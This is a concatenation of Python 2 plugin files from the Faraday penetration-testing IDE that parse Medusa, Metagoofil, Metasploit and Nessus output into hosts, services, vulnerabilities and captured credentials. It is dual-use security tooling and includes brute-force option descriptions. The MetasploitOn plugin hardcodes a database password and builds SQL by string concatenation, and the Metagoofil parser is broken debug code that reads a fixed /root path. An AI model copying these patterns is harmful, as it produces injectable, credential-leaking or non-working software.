104 "-m":"[TEXT] Parameter to pass to the module. This can be passed multiple times with a",
105 "-m":"-m Param1 -m Param2, etc.)",
106 "-d":"Dump all known modules",
107 "-n":"[NUM] Use for non-default TCP port number",
108 "-s":": Enable SSL",
109 "-g":"[NUM] Give up after trying to connect for NUM seconds (default 3)",
110 "-r":"[NUM] Sleep NUM seconds between retry attempts (default 3)",
111 "-R":"[NUM] Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.",
112 "-t":"[NUM] Total number of logins to be tested concurrently",
113 "-T":"[NUM] Total number of hosts to be tested concurrently",
114 "-L":"Parallelize logins using one username per thread. The default is to process ",
115 "-f":"Stop scanning host after first valid username/password found.",
116 "-F":"Stop audit after first valid username/password found on any host.",
117 "-b":"Suppress startup banner",
118 "-q":"Display module's usage information",
119 "-v":"[NUM] Verbose level [0 - 6 (more)]",
120 "-w":"[NUM] Error debug level [0 - 10 (more)]",
121 "-V":": Display version",
122 "-Z":": Resume scan based on map of previous scan",
123 }
124
125 global current_path
126 self._output_file_path = os.path.join(self.data_path,
127 "medusa_output-%s.txt" % self._rid)
128
129
130
131
132 def parseOutputString(self, output, debug = False):
133 """
134 This method will discard the output the shell sends, it will read it from
135 the xml where it expects it to be present.
136
137 NOTE: if 'debug' is true then it is being run from a test case and the
138 output being sent is valid.
139 """
140 parser = MedusaParser(output)
141 for item in parser.items:
142 h_id = self.createAndAddHost(item['ip'])
143 if self._isIPV4(item['ip']):
144 i_id = self.createAndAddInterface(h_id, item['ip'], ipv4_address=item['ip'],hostname_resolution=item['host'])
145 else:
146 i_id = self.createAndAddInterface(h_id, item['ip'], ipv6_address=item['ip'],hostname_resolution=item['host'])
147
148 port = self.port if self.port else item['port']
149
150 s_id = self.createAndAddServiceToInterface(h_id,i_id,item['service'],ports=[port],protocol="tcp",status="open")
151
152 self.createAndAddCredToService(h_id,s_id, item['user'],item['pass'])
153
154 del parser
155
156 xml_arg_re = re.compile(r"^.*(-O\s*[^\s]+).*$")
157 def processCommandString(self, username, current_path, command_string):
158
159 self.port=""
160 self._output_file_path=os.path.join(self.data_path,"medusa_output-%s.txt" % random.uniform(1,10))
161 arg_match = self.xml_arg_re.match(command_string)
162
163 mreg=re.search(r"\-n( |)([\d]+)",command_string)
164 if mreg:
165 self.port=mreg.group(2)
166
167 if arg_match is None:
168 return re.sub(r"(^.*?medusa?)",r"\1 -O %s" % self._output_file_path,command_string)
169 else:
170 return re.sub(arg_match.group(1),
171 r"-O %s" % self._output_file_path,
172 command_string)
173
174 def _isIPV4(self, ip):
175 if len(ip.split(".")) == 4:
176 return True
177 else:
178 return False
179
180 def setHost(self):
181 pass
182
183
184 def createPlugin():
185 return MedusaPlugin()
186
187 if __name__ == '__main__':
188 parser = MedusaParser(sys.argv[1])
189 for item in parser.items:
190 if item.status == 'up':
191 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os, socket
14 import pprint
15 import sys
16
17
18 current_path = os.path.abspath(os.getcwd())
19
20 __author__ = "Francisco Amato"
21 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
22 __credits__ = ["Francisco Amato"]
23 __license__ = ""
24 __version__ = "1.0.0"
25 __maintainer__ = "Francisco Amato"
26 __email__ = "[email protected]"
27 __status__ = "Development"
28
29
30
31
32
33 class MetagoofilParser(object):
34 """
35 The objective of this class is to parse an xml file generated by the metagoofil tool.
36
37 TODO: Handle errors.
38 TODO: Test metagoofil output version. Handle what happens if the parser doesn't support it.
39 TODO: Test cases.
40
41 @param metagoofil_filepath A proper simple report generated by metagoofil
42 """
43 def __init__(self, output):
44
45
46 self.items = []
47
48 mfile = open("/root/dev/faraday/trunk/src/del", "r")
49 output = mfile.read()
50 mfile.close()
51 print "adentro del init (%s)" % output
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66 mregex = re.search("\[\+\] List of paths and servers found:[-\s]+([^$]+)\[\+\] List of e-mails found:", output,re.M)
67 if mregex is None:
68 print "mregex no andubo"
69 return
70
71
72 print "email (%s) " % (mregex.group(1))
73 self.users = mregex.group(1).split("\n")
74 self.software =mregex.group(2).split("\n")
75 self.servers=mregex.group(1).strip().split("\n")
76
77 for line in self.servers:
78 line = line.strip()
79 item = {'host' : line, 'ip' : self.resolve(line)}
80 print item
81 self.items.append(item)
82
83 def resolve(self, host):
84 try:
85 return socket.gethostbyname(host)
86 except:
87 pass
88 return host
89
90 class MetagoofilPlugin(core.PluginBase):
91 """
92 Example plugin to parse metagoofil output.
93 """
94 def __init__(self):
95 core.PluginBase.__init__(self)
96 self.id = "Metagoofil"
97 self.name = "Metagoofil XML Output Plugin"
98 self.plugin_version = "0.0.1"
99 self.version = "2.2"
100 self.options = None
101 self._current_output = None
102 self._current_path = None
103 self._command_regex = re.compile(r'^(sudo metagoofil|metagoofil|sudo metagoofil\.py|metagoofil\.py|python metagoofil\.py|\.\/metagoofil\.py).*?')
104 self._completition = {
105 "":"metagoofil.py -d microsoft.com -t doc,pdf -l 200 -n 50 -o microsoftfiles -f results.html",
106 "-d":"domain to search",
107 "-t":"filetype to download (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)",
108 "-l":"limit of results to search (default 200)",
109 "-h":"work with documents in directory (use \"yes\" for local analysis)",
110 "-n":"limit of files to download",
111 "-o":"working directory",
112 "-f":"output file",
113 }
114
115 global current_path
116
117
118
119 def canParseCommandString(self, current_input):
120 if self._command_regex.match(current_input.strip()):
121 return True
122 else:
123 return False
124
125
126 def parseOutputString(self, output, debug = False):
127 """
128 This method will discard the output the shell sends, it will read it from
129 the xml where it expects it to be present.
130
131 NOTE: if 'debug' is true then it is being run from a test case and the
132 output being sent is valid.
133 """
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156 def processCommandString(self, username, current_path, command_string):
157 """
158 """
159 return None
160
161
162
163 def createPlugin():
164 return MetagoofilPlugin()
165
166 if __name__ == '__main__':
167 parser = MetagoofilParser(sys.argv[1])
168 for item in parser.items:
169 if item.status == 'up':
170 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class MetasploitXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the metasploit tool.
45
46 TODO: Handle errors.
47 TODO: Test metasploit output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param metasploit_xml_filepath A proper xml generated by metasploit
51 """
52 def __init__(self, xml_output):
53 tree = self.parse_xml(xml_output)
54
55 if tree:
56 servicesByWebsite = {}
57 for site in tree.findall('web_sites/web_site'):
58 servicesByWebsite[site.find('id').text] = site.find('service-id').text
59
60 webVulnsByService = {}
61 for v in [data for data in self.get_vulns(tree, servicesByWebsite)]:
62 if v.service_id not in webVulnsByService:
63 webVulnsByService[v.service_id] = []
64 webVulnsByService[v.service_id].append(v)
65
66 self.hosts = [data for data in self.get_items(tree, webVulnsByService)]
67 else:
68 self.hosts = []
69
70 def parse_xml(self, xml_output):
71 """
72 Open and parse an xml file.
73
74 TODO: Write custom parser to just read the nodes that we need instead of
75 reading the whole file.
76
77 @return xml_tree An xml tree instance. None if error.
78 """
79 try:
80 tree = ET.fromstring(xml_output)
81 except SyntaxError, err:
82 print "SyntaxError: %s. %s" % (err, xml_output)
83 return None
84
85 return tree
86
87 def get_items(self, tree, webVulns):
88 """
89 @return items A list of Host instances
90 """
91 bugtype=""
92
93
94
95
96 for node in tree.findall('hosts/host'):
97 yield Host(node, webVulns)
98
99
100 def get_vulns(self, tree, services):
101 """
102 @return items A list of WebVuln instances
103 """
104 bugtype=""
105 for node in tree.findall('web_vulns/web_vuln'):
106 yield WebVuln(node, services)
107
108
109 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
110 """
111 Finds a subnode in the item node and the retrieves a value from it
112
113 @return An attribute value
114 """
115 global ETREE_VERSION
116 node = None
117
118 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
119
120 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
121 if match_obj is not None:
122 node_to_find = match_obj.group(1)
123 xpath_attrib = match_obj.group(2)
124 xpath_value = match_obj.group(3)
125 for node_found in xml_node.findall(node_to_find):
126 if node_found.attrib[xpath_attrib] == xpath_value:
127 node = node_found
128 break
129 else:
130 node = xml_node.find(subnode_xpath_expr)
131
132 else:
133 node = xml_node.find(subnode_xpath_expr)
134
135 if node is not None:
136 return node.get(attrib_name)
137
138 return None
139
140
141
142 class Host(object):
143 def __init__(self, item_node, webVulnsByService):
144 self.node = item_node
145 self.id = self.get_text_from_subnode('id')
146 self.host = self.get_text_from_subnode('name')
147 self.ip = self.get_text_from_subnode('address')
148 self.os = self.get_text_from_subnode('os-name')
149
150 self.services = []
151 self.vulnsByService = {}
152 self.vulnsByHost = []
153 self.notesByService = {}
154 self.credsByService = {}
155 for s in self.node.findall('services/service'):
156 service = {'id':None, 'port':None, 'proto':None, 'state':None, 'name': None, 'info':None}
157 for attr in service:
158 service[attr] = s.find(attr).text
159 if not service['name']:
160 service['name']='unknown'
161 if not service['state']:
162 service['state']='unknown'
163 if not service['info']:
164 service['info']='unknown'
165
166 self.services.append(service)
167 self.vulnsByService[service['id']] = []
168 self.notesByService[service['id']] = []
169 if service['id'] in webVulnsByService:
170 self.vulnsByService[service['id']] += webVulnsByService[service['id']]
171
172 for v in self.node.findall('vulns/vuln'):
173 vuln = HostVuln(v)
174 if vuln.service_id:
175 self.vulnsByService[vuln.service_id].append(vuln)
176 else:
177 self.vulnsByHost.append(vuln)
178
179 for n in self.node.findall('notes/note'):
180 note = HostNote(n)
181 key=self.id+"_"+note.service_id
182 if not key in self.notesByService:
183 self.notesByService[key] = []
184
185 self.notesByService[key].append(note)
186
187 for c in self.node.findall('creds/cred'):
188 cred = HostCred(c)
189 key=cred.port
190 if not key in self.credsByService:
191 self.credsByService[key] = []
192
193 self.credsByService[key].append(cred)
194
195
196
197 def get_text_from_subnode(self, subnode_xpath_expr):
198 """
199 Finds a subnode in the host node and the retrieves a value from it.
200
201 @return An attribute value
202 """
203 sub_node = self.node.find(subnode_xpath_expr)
204 if sub_node is not None:
205 if sub_node.text is not None:
206 return sub_node.text
207
208 return None
209
210 class WebVuln(object):
211 def __init__(self, item_node, services):
212 self.node = item_node
213 self.name = self.get_text_from_subnode('name')
214 self.desc = self.get_text_from_subnode('description')
215 self.host = self.get_text_from_subnode('vhost')
216 self.port = self.get_text_from_subnode('port')
217 self.ip = self.get_text_from_subnode('host')
218 self.path = self.get_text_from_subnode('path')
219 self.method = self.get_text_from_subnode('method')
220 self.params = self.get_text_from_subnode('params')
221 self.pname = self.get_text_from_subnode('pname')
222 self.risk = self.get_text_from_subnode('risk')
223 self.confidence = self.get_text_from_subnode('confidence')
224 self.query = self.get_text_from_subnode('query')
225 self.request = self.get_text_from_subnode('request')
226 self.category = self.get_text_from_subnode('category-id')
227 self.service_id = services[self.get_text_from_subnode('web-site-id')]
228 self.isWeb = True
229
230 def get_text_from_subnode(self, subnode_xpath_expr):
231 """
232 Finds a subnode in the host node and the retrieves a value from it.
233
234 @return An attribute value
235 """
236 sub_node = self.node.find(subnode_xpath_expr)
237 if sub_node is not None:
238 if sub_node.text is not None:
239 return sub_node.text
240
241 return ""
242
243 class HostNote(object):
244 """
245 An abstract representation of a HostNote
246
247
248 @param item_node A item_node taken from an metasploit xml tree
249 """
250 def __init__(self, item_node):
251 self.node = item_node
252 self.service_id = self.get_text_from_subnode('service-id') if not None else ""
253 self.host_id = self.get_text_from_subnode('host-id')
254 self.ntype = self.get_text_from_subnode('ntype')
255 self.data = self.get_text_from_subnode('data')
256
257 def get_text_from_subnode(self, subnode_xpath_expr):
258 """
259 Finds a subnode in the host node and the retrieves a value from it.
260
261 @return An attribute value
262 """
263 sub_node = self.node.find(subnode_xpath_expr)
264 if sub_node is not None:
265 if sub_node.text is not None:
266 return sub_node.text
267
268 return ""
269
270 class HostCred(object):
271 """
272 An abstract representation of a HostNote
273
274
275 @param item_node A item_node taken from an metasploit xml tree
276 """
277 def __init__(self, item_node):
278 self.node = item_node
279 self.port = self.get_text_from_subnode('port')
280 self.user = self.get_text_from_subnode('user')
281 self.passwd = self.get_text_from_subnode('pass')
282 self.ptype = self.get_text_from_subnode('ptype')
283 self.sname = self.get_text_from_subnode('sname')
284
285 def get_text_from_subnode(self, subnode_xpath_expr):
286 """
287 Finds a subnode in the host node and the retrieves a value from it.
288
289 @return An attribute value
290 """
291 sub_node = self.node.find(subnode_xpath_expr)
292 if sub_node is not None:
293 if sub_node.text is not None:
294 return sub_node.text
295
296 return ""
297
298 class HostVuln(object):
299 """
300 An abstract representation of a HostVuln
301
302
303 @param item_node A item_node taken from an metasploit xml tree
304 """
305 def __init__(self, item_node):
306 self.node = item_node
307 self.service_id = self.get_text_from_subnode('service-id')
308 self.name = self.get_text_from_subnode('name')
309 self.desc = self.get_text_from_subnode('info')
310 self.refs = [r.text for r in self.node.findall('refs/ref')]
311 self.exploited_date = self.get_text_from_subnode('exploited-at')
312 self.exploited = (self.exploited_date != None)
313 self.isWeb = False
314
315 def get_text_from_subnode(self, subnode_xpath_expr):
316 """
317 Finds a subnode in the host node and the retrieves a value from it.
318
319 @return An attribute value
320 """
321 sub_node = self.node.find(subnode_xpath_expr)
322 if sub_node is not None:
323 if sub_node.text is not None:
324 return sub_node.text
325
326 return ""
327
328
329 class MetasploitPlugin(core.PluginBase):
330 """
331 Example plugin to parse metasploit output.
332 """
333 def __init__(self):
334 core.PluginBase.__init__(self)
335 self.id = "Metasploit"
336 self.name = "Metasploit XML Output Plugin"
337 self.plugin_version = "0.0.1"
338 self.version = "4.7.2"
339 self.framework_version = "1.0.0"
340 self.options = None
341 self._current_output = None
342 self.target = None
343 self._command_regex = re.compile(r'^(metasploit|sudo metasploit|\.\/metasploit).*?')
344
345 global current_path
346 self._output_file_path = os.path.join(self.data_path,
347 "metasploit_output-%s.xml" % self._rid)
348
349
350 def parseOutputString(self, output, debug = False):
351 """
352 This method will discard the output the shell sends, it will read it from
353 the xml where it expects it to be present.
354
355 NOTE: if 'debug' is true then it is being run from a test case and the
356 output being sent is valid.
357 """
358
359 parser = MetasploitXmlParser(output)
360
361 for item in parser.hosts:
362 h_id = self.createAndAddHost(item.ip, item.os)
363 if self._isIPV4(item.ip):
364 i_id = self.createAndAddInterface(h_id, item.ip, ipv4_address=item.ip,hostname_resolution=item.host)
365 else:
366 i_id = self.createAndAddInterface(h_id, item.ip, ipv6_address=item.ip,hostname_resolution=item.host)
367
368 if item.id+"_" in item.notesByService:
369 for n in item.notesByService[item.id+"_"]:
370 self.createAndAddNoteToHost(h_id,n.ntype,n.data)
371
372 for v in item.vulnsByHost:
373 print (h_id, v.name, v.desc, v.refs)
374 v_id = self.createAndAddVulnToHost(h_id, v.name, v.desc, ref=v.refs)
375
376
377 for s in item.services:
378 print (h_id, i_id , s['name'],
379 s['proto'],
380 [s['port']],
381 s['state'],
382 s['info'])
383 s_id = self.createAndAddServiceToInterface(h_id, i_id , s['name'],
384 s['proto'],
385 ports = [s['port']],
386 status = s['state'],
387 description = s['info'])
388
389
390 if item.id+"_"+s['id'] in item.notesByService:
391 for n in item.notesByService[item.id+"_"+s['id']]:
392 self.createAndAddNoteToService(h_id,s_id,n.ntype,n.data)
393
394 if s['port'] in item.credsByService:
395 for c in item.credsByService[s['port']]:
396 print "CREDS"
397 print (h_id,s_id,s['port'],c.user,c.passwd)
398 self.createAndAddCredToService(h_id,s_id,c.user,c.passwd)
399
400 n_id = None
401 for v in item.vulnsByService[s['id']]:
402 if v.isWeb:
403 if n_id == None:
404 n_id = self.createAndAddNoteToService(h_id, s_id, "website", "")
405 n2_id = self.createAndAddNoteToNote(h_id, s_id, n_id, v.host, "")
406 v_id = self.createAndAddVulnWebToService(h_id, s_id, v.name, v.desc,
407 severity=v.risk, website=v.host,
408 path=v.path, request=v.request, method=v.method,
409 pname=v.pname, params=v.params, query=v.query,
410 category=v.category)
411 else:
412 print (h_id, s_id, v.name, v.desc, v.refs)
413 v_id = self.createAndAddVulnToService(h_id, s_id, v.name, v.desc, ref=v.refs)
414
415
416 del parser
417
418
419
420
421
422 def _isIPV4(self, ip):
423 if len(ip.split(".")) == 4:
424 return True
425 else:
426 return False
427
428 def processCommandString(self, username, current_path, command_string):
429 return None
430
431
432 def setHost(self):
433 pass
434
435
436 def createPlugin():
437 return MetasploitPlugin()
438
439 if __name__ == '__main__':
440 parser = MetasploitXmlParser(sys.argv[1])
441 for item in parser.items:
442 if item.status == 'up':
443 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import sys
15 import psycopg2
16 import time
17
18 try:
19 import xml.etree.cElementTree as ET
20 import xml.etree.ElementTree as ET_ORIG
21 ETREE_VERSION = ET_ORIG.VERSION
22 except ImportError:
23 import xml.etree.ElementTree as ET
24 ETREE_VERSION = ET.VERSION
25
26 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
27
28 current_path = os.path.abspath(os.getcwd())
29
30 __author__ = "Francisco Amato"
31 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
32 __credits__ = ["Francisco Amato"]
33 __license__ = ""
34 __version__ = "1.0.0"
35 __maintainer__ = "Francisco Amato"
36 __email__ = "[email protected]"
37 __status__ = "Development"
38
39
40
41
42 class MetasploitOnPlugin(core.PluginBase):
43 """
44 Example plugin to parse metasploiton output.
45 """
46 def __init__(self):
47 core.PluginBase.__init__(self)
48 self.id = "MetasploitOn"
49 self.name = "Metasploit Online Service Plugin"
50 self.plugin_version = "0.0.2"
51 self.version = "Metasploit 4.10.0"
52 self.framework_version = "1.0.0"
53 self.options = None
54 self._current_output = None
55 self.target = None
56 self._command_regex = re.compile(r'^(metasploiton|sudo metasploiton|\.\/metasploiton).*?')
57
58 global current_path
59 # self._output_file_path = os.path.join(self.data_path,
60 # "metasploiton_output-%s.xml" % self._rid)
61
62 self.addSetting("Database", str, "msf3")
63 self.addSetting("User", str, "msf3")
64 self.addSetting("Password", str, "EKO-1919755b")
65 self.addSetting("Server", str, "localhost")
66 self.addSetting("Port", str, "7337")
67 self.addSetting("Wordspace", str, "%%")
68 self.addSetting("Enable", str, "0")
69
70 self._sdate=""
71 self._lsdate=""
72 self._mwhere=""
73
74
75
76 def parseOutputString(self, output, debug = False):
77 """
78 This method will discard the output the shell sends, it will read it from
79 the xml where it expects it to be present.
80
81 NOTE: if 'debug' is true then it is being run from a test case and the
82 output being sent is valid.
83 """
84 try:
85 conn = psycopg2.connect("dbname='" + self.getSetting("Database")+ "' user='"+self.getSetting("User")+"' password='"+self.getSetting("Password")+"' host='"+self.getSetting("Server")+"' port='"+self.getSetting("Port")+"'")
86 cur = conn.cursor()
87 except Exception as e:
88 print e
89 print "Error Connection database\n"
90 return
91
92 cur=self._doSql(cur,"select * from hosts inner join workspaces ON (hosts.workspace_id=workspaces.id) where workspaces.name like '"+ self.getSetting("Wordspace")+"';")
93 if cur is None:
94 print "Error getting database data\n"
95 return
96
97
98 self.path=self.data_path + "/"+api.getActiveWorkspace().name+ "_metasploit_last"
99
100
101 if os.path.isfile(self.path):
102 f=open(self.path,"r")
103 self._sdate=f.readline()
104 f.close
105
106
107
108
109 for h in cur.fetchall():
110 h_id = self.createAndAddHost(str(h[2]), str(h[7]))
111
112
113 if self._isIPV4(str(h[2])):
114 i_id = self.createAndAddInterface(h_id, str(h[2]),
115 mac=str(h[3]),
116 ipv4_address=str(h[2]),
117 hostname_resolution=str(h[5])
118 )
119 else:
120 i_id = self.createAndAddInterface(h_id, str(h[2]),
121 mac=str(h[3]),
122 ipv6_address=str(h[2]),
123 hostname_resolution=str(h[5])
124 )
125
126
127
128 self._checkDate(str(h[13]))
129
130
131
132 cur=self._doSql(cur,"select * from vulns where host_id="+str(h[0])+" and service_id is null"+ self._mwhere +";")
133 if cur is None:
134 return
135
136 for v in cur.fetchall():
137 self._checkDate(str(v[5]))
138
139
140
141
142
143 cur=self._doSql(cur,"select * from vulns_refs inner join refs ON (vulns_refs.id=refs.id) where vulns_refs.vuln_id="+ str(v[0])+";")
144 if cur is None:
145 return
146
147 refs=[]
148 for r in cur.fetchall():
149 self._checkDate(str(r[5]))
150 refs.append(r[6])
151
152
153 self.createAndAddVulnToHost(h_id,str(v[4]),str(v[6]),refs)
154
155
156
157 cur=self._doSql(cur,"select * from notes where host_id="+str(h[0])+" and service_id is null"+ self._mwhere +";")
158 if cur is None:
159 return
160
161 for n in cur.fetchall():
162 self._checkDate(str(n[6]))
163 self.createAndAddNoteToHost(h_id,str(n[2]),str(n[9]))
164
165
166
167 cur=self._doSql(cur,"select * from services where host_id="+str(h[0]))
168 if cur is None:
169 return
170
171 for s in cur.fetchall():
172 self._checkDate(str(s[7]))
173 s_id = self.createAndAddServiceToInterface(h_id,i_id,
174 name=str(s[6]),
175 ports=[str(s[3])],
176 protocol=str(s[4]),
177 status=str(s[5]),
178 description=str(s[8]),
179 version=str(s[8]),
180 )
181
182
183
184 cur=self._doSql(cur,"select * from creds where service_id="+str(s[0])+ self._mwhere +";")
185 creds=[]
186 if cur is None:
187 return
188 for c in cur.fetchall():
189 self._checkDate(str(c[3]))
190 self.createAndAddCredToService(h_id,s_id,c[4],c[5])
191
192
193
194
195
196
197
198 cur=self._doSql(cur,"select * from vulns where host_id="+str(h[0])+" and service_id="+str(s[0])+ self._mwhere +";")
199 if cur is None:
200 return
201
202 for v in cur.fetchall():
203 self._checkDate(str(v[5]))
204
205
206
207 cur=self._doSql(cur,"select * from vulns_refs inner join refs ON (vulns_refs.id=refs.id) where vulns_refs.vuln_id="+ str(v[0])+";")
208 if cur is None:
209 return
210
211 refs=[]
212 for r in cur.fetchall():
213 self._checkDate(str(r[5]))
214 refs.append(r[6])
215
216 self.createAndAddVulnToService(h_id,s_id,
217 name=str(v[4]),
218 desc=str(v[6]),ref=refs)
219
220
221
222
223 mwhere=re.sub("updated_at","web_vulns.updated_at",self._mwhere)
224 cur=self._doSql(cur,"select * from web_vulns INNER JOIN web_sites ON (web_vulns.web_site_id=web_sites.id) INNER JOIN web_vuln_category_metasploits as category ON (web_vulns.category_id=category.id) where web_sites.service_id="+str(s[0])+ mwhere +";")
225 for v in cur.fetchall():
226 self._checkDate(str(v[3]))
227 self.createAndAddVulnWebToService(h_id,s_id, name=str(v[28]), desc=str(v[29]), website=str(v[24]),
228 path=str(v[4]),request=str(v[15]), method=str(v[5]),pname=str(v[7]),
229 params=str(v[6]),query=str(v[10])
230 )
231
232
233
234
235 cur=self._doSql(cur,"select * from notes where host_id="+str(h[0])+" and service_id="+str(s[0])+ self._mwhere)
236 if cur is None:
237 return
238
239 for n in cur.fetchall():
240 self._checkDate(str(n[6]))
241 self.createAndAddNoteToService(h_id,s_id,str(n[2]),str(n[9]))
242
243
244 cur=self._doSql(cur,"select * from web_sites where service_id="+str(s[0])+ self._mwhere)
245 for w in cur.fetchall():
246 self._checkDate(str(w[3]))
247 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
248 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,str(w[4]),"")
249
250 cur.close()
251 conn.close()
252
253 def _doSql(self,db,sql):
254 try:
255 api.devlog("SQL:" + sql)
256 db.execute(sql)
257 except Exception, e:
258 print ("Error SQL[" + e.pgcode+"] - " + e.pgerror)
259 return None
260
261 return db
262
263 def _checkDate(self,rowdate):
264
265 mret=True
266 msave=True
267
268 if not self._lsdate:
269
270 if self._sdate:
271 self._lsdate=self._sdate
272 else:
273 self._lsdate=rowdate
274
275
276 if self._cdate(self._lsdate,rowdate):
277 msave=False
278
279 if self._sdate:
280 self._mwhere =" and updated_at > to_timestamp('"+self._sdate+"','YYYY-MM-DD HH24:MI:SS.US');"
281
282
283
284 if msave:
285 try:
286 f=open(self.path,"w")
287 f.write(rowdate)
288 f.close()
289 self._lsdate=rowdate
290 except:
291 print ("Can't save metasploit lastupdate file")
292 return
293
294 return mret
295
296 def _cdate(self, date1,date2):
297
298 mdate=time.strptime(date1.split(".")[0],"%Y-%m-%d %H:%M:%S")
299 mdate2=time.strptime(date2.split(".")[0],"%Y-%m-%d %H:%M:%S")
300 if mdate>mdate2:
301 return True
302 else:
303 return False
304
305 def _isIPV4(self, ip):
306 if len(ip.split(".")) == 4:
307 return True
308 else:
309 return False
310
311 def processCommandString(self, username, current_path, command_string):
312 return None
313
314
315 def setHost(self):
316 pass
317
318
319 def createPlugin():
320 return MetasploitOnPlugin()
321
322 if __name__ == '__main__':
323 parser = MetasploitOnXmlParser(sys.argv[1])
324 for item in parser.items:
325 if item.status == 'up':
326 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 # dotnessus_v2.py
1 # Python module to deal with Nessus .nessus (v2) files
2 # http://code.google.com/p/pynessus/
3 #
4
5 # Copyright (C) 2010 Dustin Seibel
6 #
7 # GNU General Public Licence (GPL)
8 #
9 # This program is free software; you can redistribute it and/or modify it under
10 # the terms of the GNU General Public License as published by the Free Software
11 # Foundation; either version 2 of the License, or (at your option) any later
12 # version.
13 # This program is distributed in the hope that it will be useful, but WITHOUT
14 # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
15 # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
16 # details.
17 # You should have received a copy of the GNU General Public License along with
18 # this program; if not, write to the Free Software Foundation, Inc., 59 Temple
19 # Place, Suite 330, Boston, MA 02111-1307 USA
20 #
21 # 2011-03-12: 0.1.1: Initial version.
22 import sys
23 import re
24 import xml.etree.ElementTree as ET
25 from datetime import datetime
26 from StringIO import StringIO
27 from utils.logs import getLogger
28
29 # List all nodes in a ReportItem object that can have multiple values
30 MULTI_VALUED_ATTS = [
31 'cve',
32 'bid',
33 'xref',
34 ]
35
36 # HOST_(START|END) date format
37 HOST_DATE_FORMAT = '%a %b %d %H:%M:%S %Y'
38
39 # Regex defs
40 re_ip = re.compile('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}')
41 re_wmi_ip = re.compile('IPAddress/IPSubnet.*?(?P<value>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', re.I)
42 re_wmi_man = re.compile('Computer Manufacturer : (?P<manufacturer>.*?)\n.*?Computer Model : (?P<model>.*?)\n.*?Computer Memory : (?P<memory>\d+)\s', re.I|re.M|re.S)
43 re_shares = re.compile('- (?P<value>.*?)\n', re.I|re.M|re.S)
44 re_local_admins = re.compile('- (?P<value>.*?)\s\(', re.I|re.M|re.S)
45 re_wsus = re.compile('WUServer: (?P<wsus_server>.*?)\n.*?AUOptions: (?P<wsus_auoption>.*?)\n.*?Detect LastSuccessTime: (?P<wsus_lastdetect>.*?)\n.*?Download LastSuccessTime: (?P<wsus_lastdownload>.*?)\n.*?Install LastSuccessTime: (?P<wsus_lastinstall>.*?)\n.*?RebootRequired: (?P<wsus_rebootneeded>.*?)\n.*?ServiceStatus: (?P<wsus_auenabled>.*?)(\n|$)', re.I|re.M|re.S)
46 re_unix_memory = re.compile('Total memory: (?P<memory>\d+)\s', re.I)
47 re_unix_model = re.compile('Serial Number\s+: (?P<serial>.*?)\s.*?\nProduct Name\s+: (?P<model>.*?)(\n|$)', re.I|re.M)
48 re_unix_cpu = re.compile('Current Speed\s+: (?P<cpu_speed>.*?)\s*\nManufacturer\s+: (?P<cpu_vendor>.*?)\s*\nFamily\s+: (?P<cpu_model>.*?)\s*\nExternal Clock\s+: (?P<cpu_externalclock>.*?)\s*\nVersion\s+: (?P<cpu_version>.*?)\s*\nType\s+: (?P<cpu_type>.*?)($|\s*\n)', re.I|re.M)
49
50 # Plugin to regex map
